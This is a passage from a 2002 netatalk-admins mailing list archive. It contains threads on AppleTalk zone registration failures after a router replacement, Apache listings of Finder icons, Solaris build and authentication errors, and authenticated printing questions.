 id <01KEF3HRZ2Z4003BXY@DRAKE.EDU> for netatalk-admins@umich.edu; Mon,
 18 Feb 2002 12:12:54 -0500 (CDT)
Received: from dan.lib.drake.edu ([10.2.1.163]) by DRAKE.EDU (PMDF V6.1 #38814)
 with ESMTP id <01KEF3HRBB0I0042UQ@DRAKE.EDU> for netatalk-admins@umich.edu;
 Mon, 18 Feb 2002 12:12:53 -0500 (CDT)
Date: Mon, 18 Feb 2002 12:14:47 -0600 (CST)
From: Dan Ramaley <daniel.ramaley@DRAKE.EDU>
Subject: Re: Re: Netatalk was running before, now broken...
In-reply-to: <B896E590.1C1FF%Thomas.Kaiser@phg-online.de>
To: netatalk <netatalk-admins@umich.edu>
Message-id: <01KEF3HRBF1G0042UQ@DRAKE.EDU>
MIME-version: 1.0
X-Mailer: Mahogany, 0.63 'Saugus', compiled for Linux 2.4.2-2smp i686
Content-type: TEXT/PLAIN; CHARSET=US-ASCII
Content-transfer-encoding: 7BIT
Content-disposition: INLINE
References: <B896E590.1C1FF%Thomas.Kaiser@phg-online.de>

> On Mon, 18 Feb 2002 09:39:16 -0600 (CST), Dan Ramaley wrote:
> 
> > the line i wrote into atalkd.conf was changed to:
> > 
> > 
> > dc0 -phase 2 -net 200-299 -addr 291.192 -zone "Select Proper Zone"
> 
> Fine.

Oddly enough though, before winter break when everything worked, the
atalkd.conf was empty and netatalk never tried writing stuff to it.

> > "Select Proper Zone" is the default zone on the AppleTalk network here.
> 
> What about the other zones on your network? Are you using zone mapping, that
> means, publishing the same zone name in several segments?

I'm not familiar enough with how AppleTalk works to know with certainty
what you are asking, so i'll describe some network behavior: Each
building on campus has a zone named after it, plus there is an
additional default zone called "Select Proper Zone". If you plug a Mac
into the network which has not been set up to be in a specific zone, it
will show up in Select Proper Zone. Within the AppleTalk control panel
on the Mac you can then choose between several available zones. Where i
am on campus, 9 zones show up that correspond to the nearest building.
"Cowles Library" is one of the zones that are available, and is also the
name of the building i'm in. So the Macs in the building have been set
to the Cowles Library zone, although i could have chosen a different
zone for them. And back in December before the netatalk server broke, it
showed up just fine in the Cowles Library zone. Now, there are more than
9 zones on campus; if i look in the chooser on a Mac i see 36 different
zones. But from where i am at only 9 are available to place a machine
into in the AppleTalk control panel. If i were to go to a different
building on campus a different set of zones would be available in the
AppleTalk control panel. All 36 zone names are visible in the chooser
everywhere on campus, but within different areas on campus only some of
them are available to place the machine into in the AppleTalk control
panel, with the exception of "Select Proper Zone" which is available
everywhere and is the default everywhere.

> If you open the AppleTalk control panel on a macintosh in the same segment:
> Can you choose from a zone list?

Yes. Right now i have a Mac plugged into the same switch as the netatalk
server. In the AppleTalk control panel there are 9 zones and i can
choose any of them.

> > I still get the same error messages in the logs and the netatalk server
> > does not show up in the chooser.
> 
> The server will only show up in chooser if afpd starts correctly and
> registers itself as type "AFPServer".
> 
> > If i run getzones i get one line like this:
> > 
> > 
> > Select Proper Zone
> > 
> > 
> > It doesn't matter if getzones is run without command line arguments or
> > not; if i add either "-l" or "-m" as listed in the man page, the output
> > remains the same.
> 
> So 'getzones -l 202.60' won't show you more zones?

Here's what i get when running that:

bash-2.05# getzones -l 202.60
atp_rresp: Connection timed out


> > [...]
> > bash-2.05# nbprgstr "Backup Server:Server@Cowles Library"
> > nbp_rgstr: Undefined error: 0
> > Can't register Backup Server:Server@Cowles Library
> 
> But what happens, if you try to
> 
>     nbprgstr "Backup Server:AFPServer@Select Proper Zone"
> 
> Does something like 'Backup Server' appears in the chooser afterwards?

Hmmm, no that didn't do much:

bash-2.05# nbprgstr "Backup Server:AFPServer@Select Proper Zone"
nbp_rgstr: Undefined error: 0
Can't register Backup Server:AFPServer@Select Proper Zone

> > bash-2.05# nbprgstr "Backup Server:netatalk@Cowles Library"
> > nbp_rgstr: Undefined error: 0
> > Can't register Backup Server:netatalk@Cowles Library
> 
> Please remember: You set your zone to "Cowles Library" in netatalk.conf. If
> this zonename isn't valid on this segment, you won't be able to register
> services or names into this zone.

The Cowles Library zonename is valid. The netatalk server was using it 2
months ago just fine. Right now Macs are using it just fine.

> > nbplkup with no arguments
> 
> Which is equal to 'nbplkup @*' (looking for devices in the default zone)
> 
> > gives a couple pages of output like so:
> > [...]
> 
> Is "Cowles Library" a valid zonename on your network? If so, try 'nbplkup
> "@Cowles Library"'

That command gives no output.

>From the chooser on a Mac there is one server and one LaserJet printer
in the zone. There are several other machines in the zone that don't
have any shares available and do not show up in the chooser, but an
AppleTalk scanning utility i have called CheckNET finds the other
machines in the zone.

> > Since getzones returns the default zone (i would think it would return
> > the rest of the zones, but returning 1 seems like a start)
> 
> In general it returns all zones available to atalkd expect when you use the
> '-l' switch. 
> 
> > and nbplkup finds lots of stuff (but not even close to everything that exists
> > on the network), 
> 
> You asked nbplkup to just look into the default zone and so it did.
> 
> > it would seem to me that at some level things are working.
> 
> The only thing, that's confusing to me, is the output of getzones.
> 
> > But things aren't completely working else i wouldn't be getting error messages
> > from netatalk 
> 
> Probably you try to do something illegal (in AFP terms ;-) --> registering
> in a wrong zone.
> 
> > and it would show up in the chooser on the Macs.
> 
> Same as above. Maybe an illegal zone in this segment.

Well, i am very sure that the "Cowles Library" zone is valid, since i
currently have Macs using it and netatalk was using it before winter
break. I don't know if you recall from my previous posting, but before
winter break it was working. After break it was not. I spoke with the
network adminstrator and he told me that over break a 3Com router was
replaced with a Cisco and the net.node numbers were reassigned.

Thank you again for your help so far. Anything else i should try? Or is
there anything else i should ask the network administrator that would
give some additional clues as to the problem?

------------------------------------------------------------------------
Dan Ramaley
Digital Media Library Specialist
(515) 271-1934
Cowles Library 140, Drake University


From netatalk.administrators-errors@umich.edu  Mon Feb 18 16:06:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA24580
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 16:06:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA24261
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 16:06:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA24247
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 16:06:36 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA24201
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 16:06:35 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA05324;
	Mon, 18 Feb 2002 22:32:36 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 18 Feb 2002 22:06:14 +0100
Subject: Re: Netatalk was running before, now broken...
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Dan Ramaley <daniel.ramaley@DRAKE.EDU>,
        netatalk <netatalk-admins@umich.edu>
Message-ID: <B8972B55.1C24B%Thomas.Kaiser@phg-online.de>
In-Reply-To: <01KEF3HRBF1G0042UQ@DRAKE.EDU>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 18 Feb 2002 12:14:47 -0600 (CST), Dan Ramaley wrote:

> Now, there are more than 9 zones on campus; if i look in the chooser on a Mac
> i see 36 different zones.

Okay. From your previous posting, I would assume, that you have 7 physical
network segments connected by the Cisco router. In every segment there are a
couple of zones published and one zonename "Select Proper Zone" in every
segment as default zone.

With the older 3Com Router you weren't able to see the other zones? If so,
then the 3Com has filtered ZIP in some way, I believe...

> But from where i am at only 9 are available to place a machine into in the
> AppleTalk control panel.

This is okay, as you can only use zone names, that are published in the
proper network range.

> [...]
> Well, i am very sure that the "Cowles Library" zone is valid, since i
> currently have Macs using it and netatalk was using it before winter
> break. I don't know if you recall from my previous posting, but before
> winter break it was working. After break it was not.

But since then, you have more zones available in chooser than before?

> I spoke with the network adminstrator and he told me that over break a 3Com
> router was replaced with a Cisco and the net.node numbers were reassigned.

If that's all, then there shouldn't be problems...

Maybe atalkd is confused about the count of zones.

> [...] Anything else i should try?

You might want to give RouterCheck a try:

    <http://www.neon.com/RouterCheck.html>
    <http://www.neon.com/demos_goodies.html>

> Or is there anything else i should ask the network administrator that would
> give some additional clues as to the problem?

Well, I'm not familiar with Cisco's AppleTalk implementation at all (just
read some documentation). Maybe one can play around with RTMP and/or ZIP
filtering?

Or you give Netatalk 1.5 a try? (But I experienced some problems with
'getzones' in 1.5 that haven't been there before --> 1.4b2-asun2.1.3)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Feb 19 05:30:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA03069
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 05:30:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA16935
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 05:30:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA16929
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 05:30:11 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA16909
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 05:30:10 -0500 (EST)
Received: from host213-122-45-169.in-addr.btopenworld.com ([213.122.45.169] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16d7XE-0006yC-00
	for netatalk-admins@umich.edu; Tue, 19 Feb 2002 10:30:08 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id JAA31214
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 09:27:45 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100320b897c6a539c0@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Tue, 19 Feb 2002 09:27:43 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: apache
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

A mixed apache/netatalk question.

I am sharing a directory via Netatalk that is the document root for a 
(virtual host) web server and with the option to browse directories 
turned on I can browse the same structure via a web browser as I can 
by using AppleShare. But, I want to see the same thing in the browser 
as I can in the Finder, i.e. the same icons and the file comments 
used as the web description.

I am using mod_autoindex to provide 'fancy indexing' but that's not 
sufficient. I can see no way to display individual icons for each 
file/folder (as stored for display in the Finder) or to attach a 
unique description for each file/folder, ideally the Finder comments. 
mod_autoindex seems to rely on filetype to assign the icon and/or 
description.

Does anyone know of an apache module specifically to display Netatalk 
shared directories using Finder icons and comments (as description) 
as is?

Is there a module that can assign icons and descriptions from 
specified files inside that folder (so it doesn't actually have to 
get at the Mac versions)?

What does Netatalk do if the Icon? file of a Finder icon (the empty 
data part, not the resource in .AppleDouble) actually contains data, 
e.g. a gif version of the icon? Am I correct to assume it will be 
ignored?

This is only appropriate for Netatalk shares since you need the Mac 
client to set up the appropriate fancy stuff, but it would be neat to 
be able to do it. I am not a C programmer so developing my own module 
is beyond me.

Any ideas?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Tue Feb 19 05:40:02 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA03394
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 05:40:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA23892
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 05:40:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA23875
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 05:40:01 -0500 (EST)
Received: from mail.riodata.de (firewall.riodata.de [62.16.139.11])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA23823
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 05:39:59 -0500 (EST)
Received: from [192.168.1.100] (62.16.206.118) by mail.riodata.de (5.5.031)
        id 3C4CBD0F00084878 for netatalk-admins@umich.edu; Tue, 19 Feb 2002 11:35:39 +0100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 19 Feb 2002 11:39:50 +0100
Subject: dreamweaver
From: Michael Paffrath <paffrath@fatmedia.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B897EA05.2705%paffrath@fatmedia.de>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA03394

hi folks,

i just had the problem that i couldn“t open files from a share in
dreamweaver.
'Couldn“t open file xxx because of an unknown error!'
does anyone know what“s wrong? I have no problems opening the same or other
files in other programs ...

regards,

Michael Paffrath
fatmedia - agentur für interaktive medien
Schillerstraße 6

50968 Köln

Tel. 0221 - 660 36 63
Fax. 0221 - 276 03 98
http://www.fatmedia.de


From netatalk.administrators-errors@umich.edu  Tue Feb 19 06:24:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA05077
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 06:24:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA27303
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 06:24:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA27282
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 06:24:11 -0500 (EST)
Received: from mail.talknet.de (smtp02.talknet.de [195.252.142.72])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA27218
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 06:24:09 -0500 (EST)
Received: from [192.168.1.5] (a1as12-p202.mch.tli.de [195.252.166.202])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g1JBO5V29292
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 12:24:06 +0100 (MET)
X-Delivered-To: <<netatalk-admins@umich.edu>>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100305b896ea338b70@[192.168.1.5]>
Date: Mon, 18 Feb 2002 18:28:40 +0100
To: netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: unsubscribe
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA05077

unsubscribe
-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Tue Feb 19 09:13:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA14427
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 09:13:34 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA25800
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 09:13:34 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA25776
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 09:13:33 -0500 (EST)
Received: from pragmatix.bangor.ac.uk (pragmatix.bangor.ac.uk [147.143.2.14])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA25713
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 09:13:31 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by pragmatix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g1JEDNi3007424;
	Tue, 19 Feb 2002 14:13:23 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.11.6+Sun/8.9.3) with ESMTP id g1JEDLi21737;
	Tue, 19 Feb 2002 14:13:22 GMT
Date: Tue, 19 Feb 2002 14:13:21 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: Paul Krohn <pkrohn@daemonize.com>, <netatalk-admins@umich.edu>
Subject: Re: authentication troubles (was: Re: atalkd under solaris 8)
In-Reply-To: <B896FDB9.1C230%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.SOL.4.30.0202191242230.16567-100000@publix>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> 1) The complete configure switches.

  ./configure --prefix=/usr/local/atalk
    --exec-prefix=/usr/local/atalk --with-shadow

> 2) afpd startup messages regarding UAMs ('grep'ing the syslog for "uam"),
>    eg. something like:

No uams entries in syslog.

> 3) The complete list of UAMs in the folder, afpd is searching in:

> 4) In case you are using PAM, some more details, how PAM is set up (as
>    Sebastian asked for already)

Don't think I'm using pam.

The setup is Solaris 8, NIS and netatalk 1.5.2.2.

Sim

ps compiling with "--enable-debug" produce the following errors:

gcc -DHAVE_CONFIG_H -I. -I. -I../..     -I../../sys/generic
-I../../include -I../../sys/generic -g -O2 -I../../sys -c `test -f hqx.c
|| echo './'`hqx.c
hqx.c: In function `hqx_open':
hqx.c:135: `L_INCR' undeclared (first use in this function)
hqx.c:135: (Each undeclared identifier is reported only once
hqx.c:135: for each function it appears in.)
gmake[3]: *** [hqx.o] Error 1
gmake[3]: Leaving directory `/usr/local/src/netatalk-1.5.2/bin/megatron

S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK




From netatalk.administrators-errors@umich.edu  Tue Feb 19 09:43:18 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA16230
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 09:43:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04954
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 09:43:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04944
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 09:43:17 -0500 (EST)
Received: from pragmatix.bangor.ac.uk (pragmatix.bangor.ac.uk [147.143.2.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA04871
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 09:43:15 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by pragmatix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g1JEh9i3008486;
	Tue, 19 Feb 2002 14:43:09 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.11.6+Sun/8.9.3) with ESMTP id g1JEh8i29157;
	Tue, 19 Feb 2002 14:43:09 GMT
Date: Tue, 19 Feb 2002 14:43:08 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: Paul Krohn <pkrohn@daemonize.com>, <netatalk-admins@umich.edu>
Subject: Re: authentication troubles (was: Re: atalkd under solaris 8)
In-Reply-To: <Pine.SOL.4.30.0202191242230.16567-100000@publix>
Message-ID: <Pine.SOL.4.30.0202191442490.16567-100000@publix>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


We see the following in syslog

Feb 19 14:04:42 steffigraf afpd[22261]: [ID 511611 auth.error] atp_rresp:
Connection timed out
Feb 19 14:04:52 steffigraf afpd[22261]: [ID 505962 auth.error] afp_die:
asp_shutdown: Connection timed out


> > 1) The complete configure switches.
>
>   ./configure --prefix=/usr/local/atalk
>     --exec-prefix=/usr/local/atalk --with-shadow
>
> > 2) afpd startup messages regarding UAMs ('grep'ing the syslog for "uam"),
> >    eg. something like:
>
> No uams entries in syslog.
>
> > 3) The complete list of UAMs in the folder, afpd is searching in:
>
> > 4) In case you are using PAM, some more details, how PAM is set up (as
> >    Sebastian asked for already)
>
> Don't think I'm using pam.
>
> The setup is Solaris 8, NIS and netatalk 1.5.2.2.
>
> Sim
>
> ps compiling with "--enable-debug" produce the following errors:
>
> gcc -DHAVE_CONFIG_H -I. -I. -I../..     -I../../sys/generic
> -I../../include -I../../sys/generic -g -O2 -I../../sys -c `test -f hqx.c
> || echo './'`hqx.c
> hqx.c: In function `hqx_open':
> hqx.c:135: `L_INCR' undeclared (first use in this function)
> hqx.c:135: (Each undeclared identifier is reported only once
> hqx.c:135: for each function it appears in.)
> gmake[3]: *** [hqx.o] Error 1
> gmake[3]: Leaving directory `/usr/local/src/netatalk-1.5.2/bin/megatron
>
> S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
> Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
> Sackville Road 					Fax (44) (01)248 383826 (ddi)
> Bangor, Gwynedd LL57 1LD, UK
>
>
>

S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK


From netatalk.administrators-errors@umich.edu  Tue Feb 19 10:05:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA17756
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 10:05:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA20274
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 10:05:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA20258
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 10:05:27 -0500 (EST)
Received: from bi-admex0.beckman.uiuc.edu (bi-admex0.beckman.uiuc.edu [130.126.116.241])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA20246
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 10:05:26 -0500 (EST)
Received: by bi-admex0.beckman.uiuc.edu with Internet Mail Service (5.5.2653.19)
	id <1TP5TZVC>; Tue, 19 Feb 2002 09:05:26 -0600
Message-ID: <452D0284521A0643812C325EC798E223594A@bi-admex0.beckman.uiuc.edu>
From: Marc Taylor <mdtaylor@admin0.beckman.uiuc.edu>
To: Netatalk <netatalk-admins@umich.edu>
Subject: Authenticated Printing
Date: Tue, 19 Feb 2002 09:05:16 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

Hello All,

It is not clear to me whether Netatalk can do authenticated printing.  What
I mean by this is that in order for you to print, you would have to mount a
drive share so that a username could be captured for accounting.  CAP did
this reasonably well though it confused some people because it looked like
the printer was setup though the drive share wasn't mounted.  We can live
with this.

So, does Netatalk do this?  If so, are there any instructions on how to do
it?

Many thanks.

Marc Taylor

From netatalk.administrators-errors@umich.edu  Tue Feb 19 11:40:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA23626
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 11:40:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA15117
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 11:40:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA15093
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 11:40:16 -0500 (EST)
Received: from hirsch.in-berlin.de (hirsch.in-berlin.de [192.109.42.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA15054
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 11:40:15 -0500 (EST)
Received: from hirsch.in-berlin.de (localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1JGeBU5012767
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 17:40:11 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g1JGeAFE012764
	for netatalk-admins@umich.edu; Tue, 19 Feb 2002 17:40:10 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.34 #1 (Debian))
	id 16dD96-0000v5-00
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 17:29:36 +0100
Date: Tue, 19 Feb 2002 17:29:36 +0100
To: netatalk-admins@umich.edu
Subject: Re: authentication troubles (was: Re: atalkd under solaris 8)
Message-ID: <20020219162936.GG2862@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <B896FDB9.1C230%Thomas.Kaiser@phg-online.de> <Pine.SOL.4.30.0202191242230.16567-100000@publix>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.SOL.4.30.0202191242230.16567-100000@publix>
User-Agent: Mutt/1.3.27i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Tue, Feb 19, 2002 at 02:13:21PM +0000, S.Barbaresi wrote:

> ps compiling with "--enable-debug" produce the following errors:
> 
> gcc -DHAVE_CONFIG_H -I. -I. -I../..     -I../../sys/generic
> -I../../include -I../../sys/generic -g -O2 -I../../sys -c `test -f hqx.c
> || echo './'`hqx.c
> hqx.c: In function `hqx_open':
> hqx.c:135: `L_INCR' undeclared (first use in this function)
> hqx.c:135: (Each undeclared identifier is reported only once
> hqx.c:135: for each function it appears in.)
> gmake[3]: *** [hqx.o] Error 1
> gmake[3]: Leaving directory `/usr/local/src/netatalk-1.5.2/bin/megatron

Fixing...

 - Sebastian


From netatalk.administrators-errors@umich.edu  Tue Feb 19 12:18:26 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA26512
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 12:18:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA10638
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 12:18:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA10618
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 12:18:25 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
